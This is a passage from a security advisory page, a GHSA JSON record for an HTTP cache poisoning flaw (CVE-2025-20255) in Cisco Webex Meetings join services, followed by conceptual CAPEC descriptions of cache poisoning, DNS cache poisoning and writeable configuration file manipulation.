  "details": "A vulnerability in client join services of Cisco Webex Meetings could allow an unauthenticated, remote attacker to manipulate cached HTTP responses within the meeting join service.\n\n This vulnerability is due to improper handling of malicious HTTP requests to the affected service. An attacker could exploit this vulnerability by manipulating stored HTTP responses within the service, also known as HTTP cache poisoning. A successful exploit could allow the attacker to cause the Webex Meetings service to return incorrect HTTP responses to clients.",
  "id": "GHSA-jrwq-36rx-842c",
  "modified": "2025-05-21T18:33:31Z",
  "published": "2025-05-21T18:33:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20255"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-cache-Q4xbkQBG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

← Back to the CWE list